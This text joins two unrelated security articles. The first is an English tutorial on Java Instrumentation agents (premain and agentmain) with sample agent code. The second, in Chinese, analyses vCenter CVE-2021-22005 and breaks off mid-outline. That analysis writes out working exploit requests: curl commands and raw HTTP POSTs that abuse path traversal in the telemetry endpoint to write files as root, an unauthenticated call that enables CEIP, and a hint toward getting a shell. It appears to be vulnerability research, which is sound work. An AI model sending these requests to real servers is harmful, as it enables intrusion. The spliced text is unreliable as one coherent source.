6. We may use retransformClasses as a more general feature, but
redefineClasses must be retained for backward compatibility, and
retransformClasses can be more convenient.
#### Two Loading Methods of Instrument Agent
As mentioned in the official [API
documentation](https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/Instrumentation.html)[1],
there are two ways to get Instrumentation interface instance:
1. When a JVM is launched in a way that indicates an agent class. In that case an `Instrumentation` instance is passed to the `premain` method of the agent class.
2. When a JVM provides a mechanism to start agents sometime after the JVM is launched. In that case an `Instrumentation` instance is passed to the `agentmain` method of the agent code.
`Premain` refers to the Instrument Agent load when the VM starts, that is
`agent on load`, and the `agentmain` refers to the Instrument Agent load when
the VM runs, that is `agent on attach`. The Instrument Agent loaded by the two
loading forms both monitor the same `JVMTI` event - the`ClassFileLoadHook`
event. This event is used in the callback when we finish reading bytecode,
that is, in the premain and agentmain modes. The callback timing is after the
class file bytecode is read (or after the class is loaded), and then the
bytecode is redefined or retransformed. However, the modified bytecode also
needs to meet some requirements.
#### Difference between premain and agentmain
The final purpose of `premain` and`agentmain` is to call back the
`Instrumentation` instance and activate
`sun.instrument.InstrumentationImpl#transform ()`(InstrumentationImpl is the
implementation class of Instrumentation) so that the callback is registered to
`ClassFileTransformer` in`Instrumentation` to implement bytecode modification,
and there is not much difference in essence. The non-essential functions of
the two are as follows:
* The premain method is introduced by JDK1.5, and the agentmain method is introduced by JDK1.6. After JDK1.6, you can choose to use `premain` or `agentmain`.
* `premain` needs to use the external agent jar package from the command line, that is, `-javaagent: agent jar package path`; `agentmain` can be directly attached to the target VM via the`attach` mechanism to load the agent, that is, use `agentmain` In this mode, the program that operates `attach` and the proxy program can be two completely different programs.
* The classes in the `premain` callback to the`ClassFileTransformer` are all the classes loaded by the virtual machine. This is because the order of loading by the proxy is determined earlier. From the perspective of developer logic, all classes are loaded for the first time and enter the program. Before the main () method, the premain method will be activated, and then all loaded classes will execute the callback in the ClassFileTransformer list.
* Because the `agentmain` method uses the `attach` mechanism, the target target VM of the agent may have been started long ago. Of course, all its classes have been loaded. At this time, you need to use the `Instrumentation#retransformClasses(Class <?>. .. classes)` to allow the corresponding class to be retransformed, thereby activating the retransformed class to execute the callback in the `ClassFileTransformer` list.
* If the agent Jar package through the premain method is updated, the server needs to be restarted, and if the agent package Jar is updated, it needs to be reattached, but the agentmain reattach will also cause duplicate bytecode insertion problems, but there are also problems `Hotswap` and`DCE VM` way to avoid.
We can also see some differences between them through the following tests.
##### premain loading method
The steps to write in premain are as follows:
1.Write the premain function, which contains one of the following two methods:
public static void premain (String agentArgs, Instrumentation inst);
public static void premain (String agentArgs);
If both methods are implemented, then the priority with the Instrumentation parameter is higher, and it will be called first. `agentArgs` is the program parameter obtained by the` premain` function. It is passed in via the command line parameter.
2.Define a MANIFEST.MF file, which must include the Premain-Class option, and
usually include the Can-Redefine-Classes and Can-Retransform-Classes options
3.Premain class and MANIFEST.MF file into a jar package
4.Start the agent with the parameter `-javaagent: jar package path`
The premain loading process is as follows:
1.Create and initialize JPLISAgent
2.Parse the parameters of the MANIFEST.MF file, and set some content in
JPLISAgent according to these parameters.
3.Listen for the `VMInit` event and do the following after the JVM is
initialized:
(1) create an InstrumentationImpl object;
(2) listen for the ClassFileLoadHook event;
(3) call the`LoadClassAndCallPremain` method of InstrumentationImpl, which
will be called in this method Premain method of Premain-Class class specified
in MANIFEST.MF in javaagent
Here is a simple example (tested under JDK1.8.0_181):
PreMainAgent
package com.longofo;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class PreMainAgent {
static {
System.out.println("PreMainAgent class static block run...");
}
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("PreMainAgent agentArgs : " + agentArgs);
Class<?>[] cLasses = inst.getAllLoadedClasses();
for (Class<?> cls : cLasses) {
System.out.println("PreMainAgent get loaded class:" + cls.getName());
}
inst.addTransformer(new DefineTransformer(), true);
}
static class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("PreMainAgent transform Class:" + className);
return classfileBuffer;
}
}
}
MANIFEST.MF
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.longofo.PreMainAgent
Testmain
package com.longofo;
public class TestMain {
static {
System.out.println("TestMain static block run...");
}
public static void main(String[] args) {
System.out.println("TestMain main start...");
try {
for (int i = 0; i < 100; i++) {
Thread.sleep(3000);
System.out.println("TestMain main running...");
}
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("TestMain main end...");
}
}
Package PreMainAgent as a Jar package (you can directly package it with idea,
or you can use maven plugin to package). In idea, you can start it as follows:
You can start with the path `java -javaagent: PreMainAgent.jar -jar
TestMain.jar`
The results are as follows:
PreMainAgent class static block run...
PreMainAgent agentArgs : null
PreMainAgent get loaded class:com.longofo.PreMainAgent
PreMainAgent get loaded class:sun.reflect.DelegatingMethodAccessorImpl
PreMainAgent get loaded class:sun.reflect.NativeMethodAccessorImpl
PreMainAgent get loaded class:sun.instrument.InstrumentationImpl$1
PreMainAgent get loaded class:[Ljava.lang.reflect.Method;
...
...
PreMainAgent transform Class:sun/nio/cs/ThreadLocalCoders
PreMainAgent transform Class:sun/nio/cs/ThreadLocalCoders$1
PreMainAgent transform Class:sun/nio/cs/ThreadLocalCoders$Cache
PreMainAgent transform Class:sun/nio/cs/ThreadLocalCoders$2
...
...
PreMainAgent transform Class:java/lang/Class$MethodArray
PreMainAgent transform Class:java/net/DualStackPlainSocketImpl
PreMainAgent transform Class:java/lang/Void
TestMain static block run...
TestMain main start...
PreMainAgent transform Class:java/net/Inet6Address
PreMainAgent transform Class:java/net/Inet6Address$Inet6AddressHolder
PreMainAgent transform Class:java/net/SocksSocketImpl$3
...
...
PreMainAgent transform Class:java/util/LinkedHashMap$LinkedKeySet
PreMainAgent transform Class:sun/util/locale/provider/LocaleResources$ResourceReference
TestMain main running...
TestMain main running...
...
...
TestMain main running...
TestMain main end...
PreMainAgent transform Class:java/lang/Shutdown
PreMainAgent transform Class:java/lang/Shutdown$Lock
You can see that some necessary classes have been loaded before PreMainAgent -the PreMainAgent get loaded class: xxx part, these classes have not been
transformed. Then some classes have been transformed before main, and classes
have undergone transform after main is started, and classes have undergone
transform after main has ended, which can be compared with the results of
agentmain.
##### agentmain loading method
The steps to write in agentmain are as follows:
1. Write the agentmain function, which contains one of the following two methods:
public static void agentmain (String agentArgs, Instrumentation inst);
public static void agentmain (String agentArgs);
If both methods are implemented, then the priority with the Instrumentation
parameter is higher, and it will be called first. `agentArgs` is the program
parameter obtained by the`premain` function. It is passed in via the command
line parameter.
1. Define a MANIFEST.MF file, which must include the Agent-Class option. Can-Redefine-Classes and Can-Retransform-Classes options are also usually added.
2. Make the agentmain class and MANIFEST.MF file into a jar package
3. Through the attach tool to directly load the Agent, the program that executes the attach and the program that needs to be agent can be two completely different programs:
// List all VM instances
List <VirtualMachineDescriptor> list = VirtualMachine.list ();
// attach the target VM
VirtualMachine.attach (descriptor.id ());
// Target VM loads Agent
VirtualMachine # loadAgent ("Agent Jar Path", "Command Parameters");
The agentmain loading process is similar:
1. Create and initialize JPLISAgent
2. Parse the parameters in MANIFEST.MF and set some content in JPLISAgent according to these parameters
3. Listen for the `VMInit` event and do the following after the JVM initialization is complete:
(1) Create an InstrumentationImpl object;
(2) Monitor the ClassFileLoadHook event;
(3) Call `loadClassAndCallAgentmain` method in InstrumentationImpl, and it
will call `agentmain` the `agentmain` method of the Agent-Class class
specified in MANIFEST.MF.in javaagent.
Here is a simple example (tested under JDK 1.8.0_181):
SufMainAgent
package com.longofo;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class SufMainAgent {
static {
System.out.println("SufMainAgent static block run...");
}
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
System.out.println("SufMainAgent agentArgs: " + agentArgs);
Class<?>[] classes = instrumentation.getAllLoadedClasses();
for (Class<?> cls : classes) {
System.out.println("SufMainAgent get loaded class: " + cls.getName());
}
instrumentation.addTransformer(new DefineTransformer(), true);
}
static class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("SufMainAgent transform Class:" + className);
return classfileBuffer;
}
}
}
MANIFEST.MF
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.longofo.SufMainAgent
TestSufMainAgent
package com.longofo;
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class TestSufMainAgent {
public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
//Get all running virtual machines in the current system
System.out.println("TestSufMainAgent start...");
String option = args[0];
List<VirtualMachineDescriptor> list = VirtualMachine.list();
if (option.equals("list")) {
for (VirtualMachineDescriptor vmd : list) {
System.out.println(vmd.displayName());
}
} else if (option.equals("attach")) {
String jProcessName = args[1];
String agentPath = args[2];
for (VirtualMachineDescriptor vmd : list) {
if (vmd.displayName().equals(jProcessName)) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//Then load agent.jar and send it to the virtual machine
virtualMachine.loadAgent(agentPath);
}
}
}
}
}
Testmain
package com.longofo;
public class TestMain {
static {
System.out.println("TestMain static block run...");
}
public static void main(String[] args) {
System.out.println("TestMain main start...");
try {
for (int i = 0; i < 100; i++) {
Thread.sleep(3000);
System.out.println("TestMain main running...");
}
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("TestMain main end...");
}
}
Package SufMainAgent and TestSufMainAgent as Jar packages (can be packaged
directly with idea, or packaged with maven plugin), first start Testmain, and
then list the current Java programs:
attach SufMainAgent to Testmain：
The output in Testmain is as follows:
TestMain static block run...
TestMain main start...
TestMain main running...
TestMain main running...
TestMain main running...
...
...
SufMainAgent static block run...
SufMainAgent agentArgs: null
SufMainAgent get loaded class: com.longofo.SufMainAgent
SufMainAgent get loaded class: com.longofo.TestMain
SufMainAgent get loaded class: com.intellij.rt.execution.application.AppMainV2$1
SufMainAgent get loaded class: com.intellij.rt.execution.application.AppMainV2
...
...
SufMainAgent get loaded class: java.lang.Throwable
SufMainAgent get loaded class: java.lang.System
...
...
TestMain main running...
TestMain main running...
...
...
TestMain main running...
TestMain main running...
TestMain main end...
SufMainAgent transform Class:java/lang/Shutdown
SufMainAgent transform Class:java/lang/Shutdown$Lock
Compared with the previous `premain`, it can be seen that the number of
classes from getloadedclasses in `agentmain` is greater than the number from
getloadedclasses in `premain`, and the classes of `premain` getloadedclasses
and `premain` transform basically match `agentmain` getloadedclasses (only for
this test. if there are other communications, things may be different). That
is to say, if a certain class has not been loaded before, then it will pass
the transform set by both, which can be seen from the last java/lang/Shutdown.
##### Test if one class is loaded in Weblogic
Here we use weblogic for testing, and the agent method uses agentmain method
(tested under jdk1.6.0_29):
WeblogicSufMainAgent
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class WeblogicSufMainAgent {
static {
System.out.println("SufMainAgent static block run...");
}
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
System.out.println("SufMainAgent agentArgs: " + agentArgs);
Class<?>[] classes = instrumentation.getAllLoadedClasses();
for (Class<?> cls : classes) {
System.out.println("SufMainAgent get loaded class: " + cls.getName());
}
instrumentation.addTransformer(new DefineTransformer(), true);
}
static class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("SufMainAgent transform Class:" + className);
return classfileBuffer;
}
}
}
WeblogicTestSufMainAgent
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class WeblogicTestSufMainAgent {
public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
//Get all current VMs that're on this device
System.out.println("TestSufMainAgent start...");
String option = args[0];
List<VirtualMachineDescriptor> list = VirtualMachine.list();
if (option.equals("list")) {
for (VirtualMachineDescriptor vmd : list) {
//If the VM is xxx, it is the target. Get its pid
//Then load agent.jar and send it to this VM
System.out.println(vmd.displayName());
}
} else if (option.equals("attach")) {
String jProcessName = args[1];
String agentPath = args[2];
for (VirtualMachineDescriptor vmd : list) {
if (vmd.displayName().equals(jProcessName)) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent(agentPath);
}
}
}
}
}
List running Java applications:
attach：
Weblogic output:
If we are using Weblogic t3 for deserialization and a class has not been
loaded before but can be found by Weblogic, then the corresponding class will
be transformed by the Agent. But some classes are in some Jar in the Weblogic
directory, while Weblogic won't load it unless there are some special
configurations.
#### Instrumentation limitations
In most cases, we use Instrumentation to use its bytecode instrumentation,
which is generally a **class retransformation** function, but has the
following limitations:
1. `premain` and `agentmain` are to modify the bytecode are after the class file is loaded. That is to say, you must take a parameter of type Class, which cannot be redefined through the bytecode file and **custom class name** that one class **does not exist**. What needs to be noted here is the redefinition mentioned above. **Cannot be redefined** just now means that a class name cannot be changed again. The bytecode content can still be redefined and modified. However, the byte code content must also meet the requirements of the second point after modification.
2. In fact, class conversions will eventually return to `Instrumentation#retransformClasses ()` method. This method has the following restrictions:
3. The parent of the new and old classes must be the same;
4. The number of interfaces implemented by the new and old classes must be the same, and they must be the same;
5. The accessors number of new class and old class must match. The number and field names of the new and old classes must be the same;
6. The adding and deleting methods of new class and old class must be private static/final.
7. You can delete or modify method body.
The limitations encountered in practice may not be limited to these. If we
want to redefine a brand new class (the class name does not exist in the
loaded class), we can consider the method based on class loader isolation:
create a new custom class loader to define a brand new through the new
bytecode , But the limitations of this new class can only be called through
reflection.
#### Summary
* This article only describes some basic concepts related to JavaAgent. I got to know that there was such a thing, and verified a problem that I encountered before. I also read several articles written by other security researchers [4]&[5].
* I used stain tracking, hook, syntax tree analysis and other technologies after reading some articles such as [PHP-RASP implementation of vulnerability detection](https://c0d3p1ut0s.github.io/%E4%B8%80%E7%B1%BBPHP-RASP % E7% 9A% 84% E5% AE% 9E% E7% 8E% B0 /)[6]. And I have also read a few about Java RASP [2]&[3]. If you want to write RASP-based vulnerability detection/ exploitation tools,you can also learn from them.
The code is now on [github](https://github.com/longofo/learn-javaagent). You
can test it if you are interested in this. Be careful of the JDK version in
the pom.xml file. If an error occurs when you switch JDK tests, remember to
modify the JDK version in pom.xml.
#### Reference
1. <https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/Instrumentation.html>
2. <https://paper.seebug.org/513/#0x01-rasp>
3. <https://paper.seebug.org/1041/#31-java-agent>
4. <http://www.throwable.club/2019/06/29/java-understand-instrument-first/#Instrumentation%E6%8E%A5%E5%8F%A3%E8%AF%A6%E8%A7%A3>
5. <https://www.cnblogs.com/rickiyang/p/11368932.html>
6. <https://c0d3p1ut0s.github.io/%E4%B8%80%E7%B1%BBPHP-RASP%E7%9A%84%E5%AE%9E%E7%8E%B0/>
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
lz520520@深蓝攻防实验室
2021-09-21补丁修复了如下一系列漏洞，其中CVE-2021-22005评分最高，可getshell，网上也有该漏洞的poc，所以接下来也对该漏洞做进一步分析。
CVE-2021-22005 vCenter Server 任意文件上传（CVSSv3评分9.8）
CVE-2021-21991：vCenter Server 本地提权漏洞（CVSSv3评分8.8）
CVE-2021-22006：vCenter Server 反向代理绕过漏洞（CVSSv3评分8.3）
CVE-2021-22011：vCenter Server未经身份验证的 API 端点漏洞（CVSSv3评分8.1）
CVE-2021-22015：vCenter Server 本地提权漏洞（CVSSv3评分7.8）
CVE-2021-22012：vCenter Server 未经身份验证的 API 信息泄露漏洞（CVSSv3评分7.5）
CVE-2021-22013：vCenter Server 路径遍历漏洞（CVSSv3评分7.5）
CVE-2021-22016：vCenter Server 反射型 XSS 漏洞（CVSSv3评分7.5）
CVE-2021-22017：vCenter Server rhttpproxy 绕过漏洞（CVSSv3评分7.3）
CVE-2021-22014：vCenter Server 身份验证代码执行漏洞（CVSSv3评分7.2）
CVE-2021-22018：vCenter Server 文件删除漏洞（CVSSv3评分6.5）
CVE-2021-21992：vCenter Server XML 解析拒绝服务漏洞（CVSSv3评分6.5）
CVE-2021-22007：vCenter Server 本地信息泄露漏洞（CVSSv3评分5.5）
CVE-2021-22019：vCenter Server 拒绝服务漏洞（CVSSv3评分5.3）
CVE-2021-22009：vCenter Server VAPI 拒绝服务漏洞（CVSSv3评分5.3）
CVE-2021-22010：vCenter Server VPXD 拒绝服务漏洞（CVSSv3评分5.3）
CVE-2021-22008：vCenter Server 信息泄露漏洞（CVSSv3评分5.3）
CVE-2021-22020：vCenter Server Analytics 服务拒绝服务漏洞（CVSSv3评分5.0）
CVE-2021-21993：vCenter Server SSRF 漏洞（CVSSv3评分4.3）
## 参考
任意文件上传
<https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/>
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-20050.py>
<https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee>
<https://mp.weixin.qq.com/s/gVsxziLqRQzb7QVOfyuBKw>
<https://mp.weixin.qq.com/s/Jwp4GWKRO4H_AopqJSrBWw>
官方提供的测试脚本，算是一个漏洞扫描+临时补丁
<https://kb.vmware.com/sfc/servlet.shepherd/version/download/0685G00000YTpbRQAT>
根据提示漏洞接口应该如下
rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test",
headers={"Content-Type": "application/json"}, data="lorem ipsum")
/analytics/ph/api/dataapp/agent?_c=test&_i=1
/analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1
/analytics/telemetry/ph/api/hyper/send
/analytics/ph/api/dataapp/agent
vmware公开的poc
curl -X POST "https://localhost/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json"
# 实际接口
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json"
# CEIP是否开启
curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=test"
# 请求
curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/stuff" -H "Content-Type: application/json" -d ""
# 创建一个json文件
/var/log/vmware/analytics/prod/_c_i/stuff.json
# 目录遍历
curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H "Content-Type: application/json" -d "contents here will be directly written to /tmp/foo.json as root"
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP
## 影响范围
vCenter Server 7.0 < 7.0 U2c
vCenter Server 6.7 < 6.7 U3o
Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
6.7 Windows 不受影响
## 漏洞分析
### TelemetryLevelBasedTelemetryServiceWrapper请求入口
根据poc提示接口/analytics/telemetry/ph/api/hyper/send，找到对应的类
analytics-push-telemetry-server-6.7.0.jar#com.vmware.ph.phservice.push.telemetry.server.AsyncTelemetryController.class
这个类是springboot的controller，找到漏洞URI，可以看到提交的两个参数`_c`和`_i`对应的是collectorId和collectorInstanceId
继续跟踪到`TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry`
`TelemetryLevelBasedTelemetryServiceWrapper`是在`AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable`类里调用，这个类是Runnable实现类，用于多线程调用，所以通过该类的run方法进一步跟踪到`processTelemetry`的。
生成一个Telemetrylevel对象，TelemetryLevel是一个枚举类型，这里会判断`TelemetryLevel.OFF`是否不等，继续看一下OFF是怎么设置的
public enum TelemetryLevel {
OFF,
BASIC,
FULL;
private TelemetryLevel() {
}
}
调用堆栈
processTelemetry:44, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
### ceip
#### getTelemetryLevel
getTelemetryLevel:56, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)、
`this._telemetryLevelService.getTelemetryLevel`定位到如下，可以看到这里会判断ceip（Customer
Experience Improvement Program）是否开启
DefaultTelemetryLevelService
其实ceip是客户体验提升计划，不一定开启。点击加入开启后，其实对提交的`_C`是有要求的
如下`_C`为111返回还是off，所以参数有要求的
查看漏洞利用目录`/var/log/vmware/analytics/prod`下有一个json文件
其实是如此拼接成的，所以
_c + vSphere.vapi.6_7 + _i + 9D36C850-1612-4EC4-B8DD-50BA239A25BB.json
再次测试可发现返回FULL了
或者通过该接口请求测试是否正常，这个请求会生成ceip缓存，后续请求就不会再发送ceip到vmware了。
curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7"
* * *
这里再继续分析下getTelemetryLevel，他会先判断ceip是否开启，如果没开启，则直接返回`OFF`，如果为true，则进行判断。
这里有个变量`this._collectorToTelemetryLevelCache`来存储collectorAgent对象（基于`_c`和`_i`生成），如果缓存里有了，就不会再次发遥测请求，_collectorToTelemetryLevelCache在这里是SimpleTimeBasedCacheImpl类，内部实际存储collectorAgent是用的hashmap。
这里通过get获取key（即collectorAgent），所以看看hashCode怎么实现的。
其实可以看到和`_collectorId`和`_collectorInstanceId`都相关。
public int hashCode() {
int hash = this._collectorId.hashCode();
if (this._collectorInstanceId != null) {
hash = hash * 31 + this._collectorInstanceId.hashCode();
}
return hash;
}
做个测试，`_c`和`_i`，如下就是不同缓存
CollectorAgent c1 = new CollectorAgent("vSphere.vapi.6_7", "c1");
CollectorAgent c2 = new CollectorAgent("vSphere.vapi.6_7", "c2");
this._collectorToTelemetryLevelCache.put(c1, telemetryLevel);
this._collectorToTelemetryLevelCache.get(c2);
#### getTelemetryLevelFromManifest
getTelemetryLevelFromManifest:82, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
getTelemetryLevel:69, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
那么再看看DefaultTelemetryLevelService#getTelemetryLevelFromManifest怎么发送遥测请求的，代码如下
manifestContentProvider.getManifestContent请求返回有以下几种情况
1. collectorId和collectorInstanceId随机，抛出异常，INVALID_COLLECTOR_ERROR,这里提示collectors ID不在白名单内
1. collectorId为vSphere.vapi.6_7，抛出异常，GENERAL_ERROR，404
1. 再第一次请求后，如果修改参数`_i`(collectorInstanceId)，后续二次请求都会报这个错
上面请求最终跟踪到如下位置com.vmware.ph.upload.rest.PhRestClientImpl#getManifest，GET请求
手动发送，和之前获取的确实一样。
有效请求
PS: 这里在处理返回数据，会调用json进行反序列化，转换成com.vmware.ph.model.exceptions.ServiceException
`DefaultTelemetryLevelService#getTelemetryLevelFromManifest`，我们看下抛出异常后再次调用`getTelemetryLevelForFailedManifestRetrieval`，如果异常是`INVALID_COLLECTOR_ERROR`，那么直接返回OFF，如果不是就返回FULL，defaultTelemetryLevel初始化的时候为FULL。
所以如果首次请求的collectorId不对，那么即时开了ceip也是无法利用成功，但第二次还是可以成功，所以网上一些分析文章collectorId随机也是可以用的，但如果之前没有发送过遥测请求，就会利用失败，所以建议collectorId还是设置一个有效的。
#### 开启ceip
经过测试，开启CEIP的接口无认证要求，可未授权访问
curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"
PS: 但上面这个测试如果系统启动后没有登录过，请求不会成功
调试发现，虽然接口请求不需要认证，但修改操作仍然需要session，只有在有人登录过，这个未授权请求才能生效。
该请求对应的类在`./plugin-packages/telemetry/plugins/h5-ceip.war`
com.vmware.vsphere.client.h5.ceip.controller.CeipController
还有其他两个接口
GET /ui/ceip-ui/ctrl/ceip/status
GET /ui/ceip-ui/ctrl/ceip/isAuthorized"
### LogTelemetryService
所以看来CEIP没有比较好的方案开启了。
processTelemetry:56, LogTelemetryService (com.vmware.ph.phservice.push.telemetry)
processTelemetry:45, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
当ceip开启，继续跟踪到`com/vmware/ph/phservice/push/telemetry/LogTelemetryService#processTelemetry`，
日志目录是`/var/log/vmware/analytics/prod`
日志文件名则是，可以看到
_c%1$s_i%2$s
继续往下就是日志记录，`this._logger`可以看到日志路径，而`serializeToLogMessage(telemetryRequest)`就是POST请求的body数据
那么当请求参数`_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/foo`
则拼接为`/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json`
但如果_cvSphere.vapi.6_7_i不存在，则会目录遍历失败，这个是linux的问题，所以必须先请求一次`_c=vSphere.vapi.6_7&_i=/temp`,log4j会创建目录，然后再请求上面URL，实现目录遍历。
PS: prod目录默认也是没有的，vcenter自身正常会创建这个prod目录，但ceip没开启之前，是没有的，所以建议也请求下正常的参数。
创建prod目录
POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 3
{}
创建_cvSphere.vapi.6_7_i目录
POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 3
{}
由于后缀只能是json，所以无法直接写文件，那么可以写到一个可执行文件内容的路径，这个大家就自行发挥想象力找找linux上可执行的方法了。
POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 4
test
### 整理思路
1. AsyncTelemetryController是/analytics/telemetry/ph/api/hyper/send请求处理入口，接收`_c`和`_i`参数
